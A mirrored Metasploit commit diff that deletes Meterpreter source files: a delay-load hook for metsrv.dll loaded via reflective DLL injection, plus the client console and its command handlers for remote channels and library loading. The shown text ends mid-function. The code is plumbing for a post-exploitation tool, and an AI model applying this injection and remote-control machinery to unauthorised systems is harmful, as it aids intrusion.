mirror of
https://github.com/rapid7/metasploit-payloads
synced 2024-11-20 14:39:22 +01:00
Land #389, remove delay loading, common.lib
This commit is contained in:
commit
e0f9b827a8
@ -1,74 +0,0 @@
|
||||
//===============================================================================================//
|
||||
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#include "DelayLoadMetSrv.h"
|
||||
#include "GetProcAddressR.h"
|
||||
|
||||
// The handle to the injected metsrv.dll, needed for delay loading...
|
||||
HMODULE hMetSrv = NULL;
|
||||
|
||||
// All server extensions must support delay loading of metsrv.dll because this dll can be injected
|
||||
// via reflective dll injection, as such normal calls to LoadLibrary/GetModuleHandle/GetProcAddress
|
||||
// to resolve exports in metsrv.dll will not work as metsrv.dll will be 'invisible' to the native
|
||||
// windows kernel32 api's. Theirfore we delay load metsrv.dll and intercept loading and resolving of
|
||||
// its exports and resolve them using our own GetProcAddressR() function.
|
||||
//
|
||||
// To enable all of this in a new extnesion:
|
||||
// 1. Add metsrv.dll to the DELAYLOAD option in the projects properties (Configuration->Linker->Input).
|
||||
// 2. Add in the include file #include "DelayLoadMetSrv.h".
|
||||
// 3. Add the macro "EnableDelayLoadMetSrv();" after all your includes.
|
||||
// 4. Add the line "hMetSrv = remote->hMetSrv;" in your InitServerExtension() function.
|
||||
|
||||
//===============================================================================================//
|
||||
|
||||
|
||||
|
||||
|
||||
FARPROC WINAPI delayHook( unsigned dliNotify, PDelayLoadInfo pdli )
|
||||
{
|
||||
switch( dliNotify )
|
||||
{
|
||||
case dliNotePreLoadLibrary:
|
||||
// If we are trying to delay load metsrv.dll we can just return the
|
||||
// HMODULE of the injected metsrv library (set in InitServerExtension).
|
||||
if( strcmp( pdli->szDll, "metsrv.dll" ) == 0 )
|
||||
return (FARPROC)hMetSrv;
|
||||
break;
|
||||
case dliNotePreGetProcAddress:
|
||||
// If we are trying to get the address of an exported function in the
|
||||
// metsrv.dll we must use GetProcAddressR() in case the metsrv was loaded
|
||||
// via reflective dll injection
|
||||
if( strcmp( pdli->szDll, "metsrv.dll" ) == 0 )
|
||||
return GetProcAddressR( pdli->hmodCur, pdli->dlp.szProcName );
|
||||
break;
|
||||
default:
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
//===============================================================================================//
|
@ -1,48 +0,0 @@
|
||||
//===============================================================================================//
|
||||
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_DELAYLOADMETSRV_H
|
||||
#define _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_DELAYLOADMETSRV_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
|
||||
#define DELAYIMP_INSECURE_WRITABLE_HOOKS
|
||||
#include <Delayimp.h>
|
||||
|
||||
#pragma comment (lib,"Delayimp.lib")
|
||||
|
||||
// we use this like a macro to set the hook in an server extension that requires it
|
||||
#define EnableDelayLoadMetSrv() PfnDliHook __pfnDliNotifyHook2 = delayHook; // set our delay loader hook, see DelayLoadMetSrv.c
|
||||
|
||||
extern HMODULE hMetSrv;
|
||||
|
||||
FARPROC WINAPI delayHook( unsigned dliNotify, PDelayLoadInfo pdli );
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
@ -1,546 +0,0 @@
|
||||
#include "metcli.h"
|
||||
|
||||
// Core console commands
|
||||
extern DWORD cmd_open(Remote *remote, UINT argc, CHAR **argv);
|
||||
extern DWORD cmd_read(Remote *remote, UINT argc, CHAR **argv);
|
||||
extern DWORD cmd_write(Remote *remote, UINT argc, CHAR **argv);
|
||||
extern DWORD cmd_close(Remote *remote, UINT argc, CHAR **argv);
|
||||
extern DWORD cmd_interact(Remote *remote, UINT argc, CHAR **argv);
|
||||
extern DWORD cmd_help(Remote *remote, UINT argc, CHAR **argv);
|
||||
extern DWORD cmd_exit(Remote *remote, UINT argc, CHAR **argv);
|
||||
|
||||
extern DWORD cmd_loadlib(Remote *remote, UINT argc, CHAR **argv);
|
||||
extern DWORD cmd_use(Remote *remote, UINT argc, CHAR **argv);
|
||||
|
||||
/*
|
||||
* Local client core command line dispatch table
|
||||
*/
|
||||
ConsoleCommand consoleCommands[] =
|
||||
{
|
||||
// Core extensions
|
||||
{ "Core", NULL, "Core feature set commands", 1 },
|
||||
{ "open", cmd_open, "Opens a communication channel.", 0 },
|
||||
{ "read", cmd_read, "Reads from a communication channel.", 0 },
|
||||
{ "write", cmd_write, "Writes to a communication channel.", 0 },
|
||||
{ "close", cmd_close, "Closes a communication channel.", 0 },
|
||||
{ "interact", cmd_interact, "Switch to interactive mode with a channel.", 0 },
|
||||
{ "help", cmd_help, "Displays a list of commands.", 0 },
|
||||
{ "exit", cmd_exit, "Exits the client.", 0 },
|
||||
|
||||
// Feature extensions
|
||||
{ "Features", NULL, "Feature extension commands", 1 },
|
||||
{ "loadlib", cmd_loadlib, "Load a library on the remote machine.", 0 },
|
||||
{ "use", cmd_use, "Use a feature module.", 0 },
|
||||
|
||||
// Terminator
|
||||
{ NULL, NULL, NULL, 0 },
|
||||
};
|
||||
|
||||
VOID console_read_thread_func(Remote *remote);
|
||||
|
||||
ConsoleCommand *extendedCommandsHead = NULL;
|
||||
ConsoleCommand *extendedCommandsTail = NULL;
|
||||
Channel *interactiveChannel = NULL;
|
||||
DWORD interactiveChannelId = 0;
|
||||
PCHAR inputBuffer = NULL;
|
||||
ULONG inputBufferLength = 0;
|
||||
HANDLE consoleReadThread = NULL;
|
||||
|
||||
/*
|
||||
* Enable command history on the console and create the interactive console
|
||||
* for future use.
|
||||
*/
|
||||
VOID console_initialize(Remote *remote)
|
||||
{
|
||||
BOOL (WINAPI *setConsoleInputExeName)(LPCSTR base) = NULL;
|
||||
CHAR name[1024];
|
||||
PCHAR slash;
|
||||
float init = 1.1f; // VC++ requires float usage to use float libraries.
|
||||
DWORD mode = 0;
|
||||
DWORD tid;
|
||||
|
||||
do
|
||||
{
|
||||
// Locate the SetConsoleInputExeNameA routine for use with custom
|
||||
// history tracking
|
||||
if (!((LPVOID)setConsoleInputExeName =
|
||||
(LPVOID)GetProcAddress(GetModuleHandle("kernel32"),
|
||||
"SetConsoleInputExeNameA")))
|
||||
break;
|
||||
|
||||
memset(name, 0, sizeof(name));
|
||||
|
||||
if (!GetModuleFileName(
|
||||
GetModuleHandle(0),
|
||||
name,
|
||||
sizeof(name) - 1))
|
||||
break;
|
||||
|
||||
if (!(slash = strrchr(name, '\\')))
|
||||
break;
|
||||
|
||||
// investigate
|
||||
setConsoleInputExeName(name);
|
||||
|
||||
// Set the console window's title
|
||||
SetConsoleTitle("meterpreter");
|
||||
|
||||
consoleReadThread = CreateThread(NULL, 0,
|
||||
(LPTHREAD_START_ROUTINE)console_read_thread_func, remote,
|
||||
0, &tid);
|
||||
|
||||
} while (0);
|
||||
}
|
||||
|
||||
/*
|
||||
* Write a format string buffer to the console
|
||||
*/
|
||||
VOID console_write_output(LPCSTR fmt, ...)
|
||||
{
|
||||
va_list ap;
|
||||
|
||||
va_start(ap, fmt);
|
||||
vfprintf(stdout, fmt, ap);
|
||||
va_end(ap);
|
||||
}
|
||||
|
||||
/*
|
||||
* Write raw output to the console
|
||||
*/
|
||||
VOID console_write_output_raw(PUCHAR buf, ULONG length)
|
||||
{
|
||||
HANDLE pStdout = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
DWORD written = 0;
|
||||
|
||||
WriteFile(pStdout, buf, length, &written, NULL);
|
||||
}
|
||||
|
||||
/*
|
||||
* Write the console prompt to the screen
|
||||
*/
|
||||
VOID console_write_prompt()
|
||||
{
|
||||
fprintf(stdout, "meterpreter> ");
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
/*
|
||||
* Generic output of success/fail
|
||||
*/
|
||||
DWORD console_generic_response_output(Remote *remote, Packet *packet,
|
||||
LPCSTR subsys, LPCSTR cmd)
|
||||
{
|
||||
DWORD res = packet_get_result(packet);
|
||||
|
||||
if (res == ERROR_SUCCESS)
|
||||
console_write_output(
|
||||
"\n"
|
||||
INBOUND_PREFIX " %s: %s succeeded.\n", subsys, cmd);
|
||||
else
|
||||
console_write_output(
|
||||
"\n"
|
||||
INBOUND_PREFIX " %s: %s failed, result %lu.\n",
|
||||
subsys, cmd, packet_get_result(packet));
|
||||
|
||||
console_write_prompt();
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
/*
|
||||
* Check to see if an escape sequence has been sent to the console
|
||||
*
|
||||
* The escape sequence is: ESC
|
||||
*/
|
||||
BOOL console_check_escape_sent()
|
||||
{
|
||||
BOOL escapeSent = FALSE;
|
||||
INPUT_RECORD r[32];
|
||||
DWORD numRead = 0;
|
||||
|
||||
if (PeekConsoleInput(GetStdHandle(STD_INPUT_HANDLE),
|
||||
r, 32, &numRead))
|
||||
{
|
||||
DWORD index = 0;
|
||||
|
||||
for (index = 0;
|
||||
(!escapeSent) && (index < numRead);
|
||||
index++)
|
||||
{
|
||||
if (r[index].EventType != KEY_EVENT)
|
||||
continue;
|
||||
|
||||
// If the control key is pressed and the VK is escape..
|
||||
if (r[index].Event.KeyEvent.wVirtualKeyCode == VK_ESCAPE)
|
||||
escapeSent = TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
return escapeSent;
|
||||
}
|
||||
|
||||
/*
|
||||
* Set the interactive channel for input/output overriding
|
||||
*/
|
||||
VOID console_set_interactive_channel(Remote *remote, Channel *channel)
|
||||
{
|
||||
// If an interactive channel is use, unset the interactive flag
|
||||
if (interactiveChannel)
|
||||
channel_interact(interactiveChannel, remote, NULL, 0, FALSE,
|
||||
NULL);
|
||||
|
||||
interactiveChannel = channel;
|
||||
interactiveChannelId = (channel) ? channel_get_id(channel) : 0;
|
||||
}
|
||||
|
||||
/*
|
||||
* Get the interactive channel descriptor
|
||||
*/
|
||||
Channel *console_get_interactive_channel()
|
||||
{
|
||||
return interactiveChannel;
|
||||
}
|
||||
|
||||
/*
|
||||
* Get the interactive channel indentifier, if any
|
||||
*/
|
||||
DWORD console_get_interactive_channel_id()
|
||||
{
|
||||
return interactiveChannelId;
|
||||
}
|
||||
|
||||
/*
|
||||
* Process a remote cmomand when data is available
|
||||
*/
|
||||
DWORD console_remote_notify(Remote *remote, HANDLE notify)
|
||||
{
|
||||
DWORD res;
|
||||
|
||||
ResetEvent(notify);
|
||||
|
||||
res = command_process_remote(remote, NULL);
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
/*
|
||||
* Process console commands in a loop
|
||||
*
|
||||
* I would use the scheduler but allowing the file descriptor to drop
|
||||
* into non-blocking mode makes things annoying.
|
||||
*/
|
||||
VOID console_process_commands(Remote *remote)
|
||||
{
|
||||
SOCKET fd = remote_get_fd(remote);
|
||||
struct timeval tv;
|
||||
fd_set fdread;
|
||||
LONG r;
|
||||
|
||||
console_write_prompt();
|
||||
|
||||
// Execute the scheduler in a loop
|
||||
while (1)
|
||||
{
|
||||
FD_ZERO(&fdread);
|
||||
FD_SET(fd, &fdread);
|
||||
|
||||
tv.tv_sec = 0;
|
||||
tv.tv_usec = 100;
|
||||
|
||||
if ((r = select(fd + 1, &fdread, NULL, NULL, &tv)) > 0)
|
||||
{
|
||||
LONG bytes = 0;
|
||||
|
||||
ioctlsocket(fd, FIONREAD, &bytes);
|
||||
|
||||
if (bytes == 0)
|
||||
{
|
||||
console_write_output(
|
||||
"\n"
|
||||
"Connection reset by peer.\n");
|
||||
break;
|
||||
}
|
||||
|
||||
command_process_remote(remote, NULL);
|
||||
}
|
||||
else if (r < 0)
|
||||
break;
|
||||
|
||||
scheduler_run(remote, 0);
|
||||
}
|
||||
}
|
||||
|
||||
VOID console_read_thread_func(Remote *remote)
|
||||
{
|
||||
while (1)
|
||||
console_read_buffer(remote);
|
||||
}
|
||||
|
||||
/*
|
||||
* Reads in data from the input device, potentially calling the
|
||||
* command processing function if a complete command has been read.
|
||||
*/
|
||||
VOID console_read_buffer(Remote *remote)
|
||||
{
|
||||
DWORD newInputBufferLength, stringLength, offset;
|
||||
Channel *interactiveChannel;
|
||||
PCHAR newInputBuffer;
|
||||
BOOL process = FALSE;
|
||||
CHAR buf[4096];
|
||||
PCHAR eoln, eolr;
|
||||
LONG bytesRead;
|
||||
|
||||
// Ensure null termination
|
||||
buf[sizeof(buf) - 1] = 0;
|
||||
|
||||
do
|
||||
{
|
||||
// Is there data available?
|
||||
if (WaitForSingleObject(GetStdHandle(STD_INPUT_HANDLE), INFINITE)
|
||||
!= WAIT_OBJECT_0)
|
||||
break;
|
||||
|
||||
// If a console escape character was sent and we're currently interactive,
|
||||
// break out of interactive mode
|
||||
if ((console_check_escape_sent()) &&
|
||||
(console_get_interactive_channel()))
|
||||
{
|
||||
console_set_interactive_channel(remote, NULL);
|
||||
|
||||
console_write_output(
|
||||
"\n"
|
||||
"\n"
|
||||
"Exiting interactive mode..\n");
|
||||
console_write_prompt();
|
||||
}
|
||||
|
||||
// Read the command
|
||||
if ((!ReadConsole(GetStdHandle(STD_INPUT_HANDLE),
|
||||
buf, sizeof(buf) - 1, &bytesRead, NULL)) || (bytesRead <= 0))
|
||||
break;
|
||||
|
||||
buf[bytesRead] = 0;
|
||||
|
||||
// If an interactive channel is in use, write directly to it.
|
||||
if ((interactiveChannel = console_get_interactive_channel()))
|
||||
{
|
||||
channel_write(interactiveChannel, remote, NULL, 0, buf,
|
||||
bytesRead, NULL);
|
||||
break;
|
||||
}
|
||||
|
||||
if ((eoln = strchr(buf, '\n')))
|
||||
{
|
||||
*eoln = 0;
|
||||
|
||||
process = TRUE;
|
||||
}
|
||||
|
||||
// Remove end of line characters
|
||||
if ((eolr = strchr(buf, '\r')))
|
||||
*eolr = 0;
|
||||
|
||||
// Calculate lengths
|
||||
stringLength = strlen(buf);
|
||||
newInputBufferLength = inputBufferLength + stringLength;
|
||||
|
||||
if (inputBuffer)
|
||||
newInputBuffer = (PCHAR)realloc(inputBuffer,
|
||||
newInputBufferLength);
|
||||
else
|
||||
newInputBuffer = (PCHAR)malloc(++newInputBufferLength);
|
||||
|
||||
// Allocation failure?
|
||||
if (!newInputBuffer)
|
||||
break;
|
||||
|
||||
if ((offset = inputBufferLength))
|
||||
offset--;
|
||||
|
||||
// Copy the string
|
||||
memcpy(newInputBuffer + offset, buf, stringLength);
|
||||
|
||||
// Update the input buffer
|
||||
inputBuffer = newInputBuffer;
|
||||
inputBufferLength = newInputBufferLength;
|
||||
|
||||
// Process the full command line if it's completed
|
||||
if (process)
|
||||
{
|
||||
inputBuffer[inputBufferLength - 1] = 0;
|
||||
|
||||
client_acquire_lock();
|
||||
console_process_command(remote);
|
||||
client_release_lock();
|
||||
|
||||
free(inputBuffer);
|
||||
|
||||
inputBuffer = NULL;
|
||||
inputBufferLength = 0;
|
||||
|
||||
console_write_prompt();
|
||||
}
|
||||
|
||||
} while (0);
|
||||
}
|
||||
|
||||
/*
|
||||
* Parse the local command into an argument vector
|
||||
*
|
||||
* TODO:
|
||||
*
|
||||
* - Add character unescaping (\x01)
|
||||
*/
|
||||
VOID console_process_command(Remote *remote)
|
||||
{
|
||||
CHAR **argv = NULL, *current;
|
||||
ConsoleCommand *command = NULL;
|
||||
UINT argc, index;
|
||||
|
||||
do
|
||||
{
|
||||
// Calculate the number of arguments
|
||||
for (current = inputBuffer, argc = 1;
|
||||
current = strchr(current, ' ');
|
||||
current++, argc++);
|
||||
|
||||
current = inputBuffer;
|
||||
index = 0;
|
||||
|
||||
if (!(argv = (CHAR **)malloc(sizeof(PCHAR) * argc)))
|
||||
break;
|
||||
|
||||
// Populate the argument vector
|
||||
while (1)
|
||||
{
|
||||
CHAR *space = NULL, *edquote = NULL;
|
||||
|
||||
// If the first character of the current argument is a quote,
|
||||
// find the next quote.
|
||||
if (current[0] == '"')
|
||||
{
|
||||
if ((edquote = strchr(current + 1, '"')))
|
||||
*edquote = 0;
|
||||
}
|
||||
else if ((space = strchr(current, ' ')))
|
||||
*space = 0;
|
||||
|
||||
// If we're using quoting for this argument, skip one past current.
|
||||
argv[index++] = _strdup(current + ((edquote) ? 1 : 0));
|
||||
current = ((edquote) ? edquote : space) + 1;
|
||||
|
||||
if (space)
|
||||
*space = ' ';
|
||||
else if (edquote)
|
||||
*edquote = '"';
|
||||
else
|
||||
break;
|
||||
}
|
||||
|
||||
// Find the command
|
||||
for (index = 0;
|
||||
consoleCommands[index].name;
|
||||
index++)
|
||||
{
|
||||
if (!strcmp(consoleCommands[index].name, argv[0]))
|
||||
{
|
||||
command = &consoleCommands[index];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// If the command was not found in the default command list, try looking
|
||||
// in the extended list
|
||||
if (!command)
|
||||
{
|
||||
for (command = extendedCommandsHead;
|
||||
command;
|
||||
command = command->next)
|
||||
{
|
||||
if (!strcmp(command->name, argv[0]))
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// The command was not found.
|
||||
if ((!command) || (!command->name))
|
||||
break;
|
||||
|
||||
command->handler(remote, argc, argv);
|
||||
|
||||
} while (0);
|
||||
|
||||
// Cleanup argv
|
||||
if (argv)
|
||||
{
|
||||
for (index = 0;
|
||||
index < argc;
|
||||
index++)
|
||||
free(argv[index]);
|
||||
|
||||
free(argv);
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Dynamically registers a client command
|
||||
*/
|
||||
DWORD console_register_command(ConsoleCommand *command)
|
||||
{
|
||||
ConsoleCommand *newConsoleCommand;
|
||||
|
||||
if (!(newConsoleCommand = (ConsoleCommand *)malloc(sizeof(ConsoleCommand))))
|
||||
return ERROR_NOT_ENOUGH_MEMORY;
|
||||
|
||||
memcpy(newConsoleCommand, command, sizeof(ConsoleCommand));
|
||||
|
||||
if (extendedCommandsTail)
|
||||
extendedCommandsTail->next = newConsoleCommand;
|
||||
|
||||
newConsoleCommand->prev = extendedCommandsTail;
|
||||
newConsoleCommand->next = NULL;
|
||||
extendedCommandsTail = newConsoleCommand;
|
||||
|
||||
if (!extendedCommandsHead)
|
||||
extendedCommandsHead = newConsoleCommand;
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Dynamically deregisters a client command
|
||||
*/
|
||||
DWORD console_deregister_command(ConsoleCommand *command)
|
||||
{
|
||||
ConsoleCommand *current, *prev;
|
||||
DWORD res = ERROR_NOT_FOUND;
|
||||
|
||||
// Search the extension list for the command
|
||||
for (current = extendedCommandsHead, prev = NULL;
|
||||
current;
|
||||
prev = current, current = current->next)
|
||||
{
|
||||
if (strcmp(command->name, current->name))
|
||||
continue;
|
||||
|
||||
if (prev)
|
||||
prev->next = current->next;
|
||||
else
|
||||
extendedCommandsHead = current->next;
|
||||
|
||||
if (current->next)
|
||||
current->next->prev = prev;
|
||||
|
||||
if (current == extendedCommandsTail)
|
||||
extendedCommandsTail = current->prev;
|
||||
|
||||
// Deallocate it
|
||||
free(current);
|
||||
|
||||
res = ERROR_SUCCESS;
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
@ -1,53 +0,0 @@
|
||||
#ifndef _METERPRETER_CLIENT_CONSOLE_H
|
||||
#define _METERPRETER_CLIENT_CONSOLE_H
|
||||
|
||||
#define OUTBOUND_PREFIX ">>>"
|
||||
#define INBOUND_PREFIX "<<<"
|
||||
|
||||
VOID console_initialize();
|
||||
|
||||
/*
|
||||
* Output processing
|
||||
*/
|
||||
LINKAGE VOID console_write_output(LPCSTR fmt, ...);
|
||||
LINKAGE VOID console_write_output_raw(PUCHAR buf, ULONG length);
|
||||
LINKAGE VOID console_write_prompt();
|
||||
|
||||
LINKAGE DWORD console_generic_response_output(Remote *remote, Packet *packet,
|
||||
LPCSTR subsys, LPCSTR cmd);
|
||||
|
||||
/*
|
||||
* Interact channel
|
||||
*/
|
||||
LINKAGE VOID console_set_interactive_channel(Remote *remote, Channel *channel);
|
||||
LINKAGE Channel *console_get_interactive_channel();
|
||||
LINKAGE DWORD console_get_interactive_channel_id();
|
||||
|
||||
/*
|
||||
* Input processing
|
||||
*/
|
||||
typedef struct _ConsoleCommand
|
||||
{
|
||||
LPCSTR name;
|
||||
DWORD (*handler)(Remote *remote, UINT argc, CHAR **argv);
|
||||
LPCSTR help;
|
||||
BOOL separator;
|
||||
|
||||
// Not stored
|
||||
struct _ConsoleCommand *prev;
|
||||
struct _ConsoleCommand *next;
|
||||
} ConsoleCommand;
|
||||
|
||||
LINKAGE VOID console_read_buffer(Remote *remote);
|
||||
LINKAGE VOID console_process_command(Remote *remote);
|
||||
LINKAGE VOID console_process_commands(Remote *remote);
|
||||
|
||||
LINKAGE DWORD console_register_command(ConsoleCommand *command);
|
||||
LINKAGE DWORD console_deregister_command(ConsoleCommand *command);
|
||||
|
||||
LINKAGE VOID console_register_core_commands();
|
||||
LINKAGE VOID console_deregister_core_commands();
|
||||
|
||||
LINKAGE BOOL console_check_escape_sent();
|
||||
|
||||
#endif
|
@ -1,716 +0,0 @@
|
||||
#include "metcli.h"
|
||||
|
||||
extern ConsoleCommand consoleCommands[];
|
||||
extern ConsoleCommand *extendedCommandsHead;
|
||||
|
||||
/*****************
|
||||
* Command: help *
|
||||
*****************/
|
||||
|
||||
VOID cmd_help_output_command(ConsoleCommand *command)
|
||||
{
|
||||
if (command->separator)
|
||||
console_write_output(
|
||||
"\n%13s %s\n"
|
||||
" ------------ ---------------\n",
|
||||
command->name, command->help);
|
||||
else
|
||||
console_write_output("%13s %s\n", command->name,
|
||||
command->help);
|
||||
}
|
||||
|
||||
/*
|
||||
* Print the help banner
|
||||
*/
|
||||
DWORD cmd_help(Remote *remote, UINT argc, CHAR **argv)
|
||||
{
|
||||
ConsoleCommand *current;
|
||||
DWORD index;
|
||||
|
||||
for (index = 0;
|
||||
consoleCommands[index].name;
|
||||
index++)
|
||||
cmd_help_output_command(&consoleCommands[index]);
|
||||
|
||||
for (current = extendedCommandsHead;
|
||||
current;
|
||||
current = current->next)
|
||||
cmd_help_output_command(current);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*****************
|
||||
* Command: open *
|
||||
*****************/
|
||||
|
||||
/*
|
||||
* Opens a logical channel with the remote endpoint that is not tied to
|
||||
* a stream
|
||||
*/
|
||||
DWORD cmd_open(Remote *remote, UINT argc, CHAR **argv)
|
||||
{
|
||||
DWORD res;
|
||||
|
||||
if ((res = channel_open(remote, NULL, 0, NULL)) == ERROR_SUCCESS)
|
||||
console_write_output(
|
||||
OUTBOUND_PREFIX " CHANNEL: Requesting a new channel...\n");
|
||||
else
|
||||
console_write_output(
|
||||
"Error: channel_open failed, result %lu.\n", res);
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
/*****************
|
||||
* Command: read *
|
||||
*****************/
|
||||
|
||||
/*
|
||||
* Channel completion routine for reading from a channel
|
||||
*/
|
||||
DWORD cmd_read_channel_complete(Remote *remote, Channel *channel,
|
||||
LPVOID context, DWORD result, PUCHAR buffer, ULONG bytesRead)
|
||||
{
|
||||
if (result == ERROR_SUCCESS && bytesRead > 0)
|
||||
{
|
||||
PCHAR tmp = (PCHAR)malloc(bytesRead + 1);
|
||||
|
||||
if (tmp)
|
||||
{
|
||||
// Copy the buffer into tmp and null terminate it
|
||||
memcpy(tmp, buffer, bytesRead);
|
||||
tmp[bytesRead] = 0;
|
||||
|
||||
console_write_output(
|
||||
"\n"
|
||||
INBOUND_PREFIX " CHANNEL: read %lu bytes from channel %lu:\n"
|
||||
"%s"
|
||||
"\n",
|
||||
bytesRead, channel_get_id(channel), tmp);
|
||||
|
||||
free(tmp);
|
||||
}
|
||||
else
|
||||
console_write_output(
|
||||
"\n"
|
||||
INBOUND_PREFIX " CHANNEL: read %lu bytes, local allocation failed.\n",
|
||||
bytesRead);
|
||||
}
|
||||
else if (result != ERROR_SUCCESS)
|
||||
console_write_output(
|
||||
"\n"
|
||||
INBOUND_PREFIX " CHANNEL: cmd_read failed, result %lu.\n", result);
|
||||
|
||||
console_write_prompt();
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Reads in data from the remote endpoint of a channel
|
||||
*/
|
||||
DWORD cmd_read(Remote *remote, UINT argc, CHAR **argv)
|
||||
{
|
||||
ChannelCompletionRoutine complete;
|
||||
DWORD channelId = 0, length = 4096;
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
Channel *channel;
|
||||
|
||||
do
|
||||
{
|
||||
// Check to see if the supplied channel identifier is valid
|
||||
if (argc == 1)
|
||||
{
|
||||
console_write_output("Usage: read channel_id [length]\n");
|
||||
res = ERROR_INVALID_PARAMETER;
|
||||
break;
|
||||
}
|
||||
|
||||
channelId = strtoul(argv[1], NULL, 10);
|
||||
|
||||
// If a length was provided, use it.
|
||||
if (argc > 2)
|
||||
length = strtoul(argv[2], NULL, 10);
|
||||
|
||||
if (!(channel = channel_find_by_id(channelId)))
|
||||
{
|
||||
console_write_output("Error: Could not locate channel %lu.\n",
|
||||
channelId);
|
||||
break;
|
||||
}
|
||||
|
||||
// Initialize the completion routine
|
||||
memset(&complete, 0, sizeof(complete));
|
||||
|
||||
complete.routine.read = cmd_read_channel_complete;
|
||||
|
||||
// Read the data in.
|
||||
if ((res = channel_read(channel, remote, NULL, 0, length,
|
||||
&complete))
|
||||
== ERROR_SUCCESS)
|
||||
console_write_output(
|
||||
OUTBOUND_PREFIX " CHANNEL: Requesting %lu bytes from channel %lu...\n",
|
||||
length, channelId);
|
||||
else
|
||||
console_write_output("Error: channel_read failed, result %lu.\n", res);
|
||||
|
||||
} while (0);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/******************
|
||||
* Command: write *
|
||||
******************/
|
||||
|
||||
/*
|
||||
* Completion routine for a previous write
|
||||
*/
|
||||
DWORD cmd_write_channel_complete(Remote *remote, Channel *channel,
|
||||
LPVOID context, DWORD result, ULONG bytesWritten)
|
||||
{
|
||||
if (result == ERROR_SUCCESS)
|
||||
console_write_output(
|
||||
"\n"
|
||||
INBOUND_PREFIX " CHANNEL: Wrote %lu bytes to channel %lu.\n",
|
||||
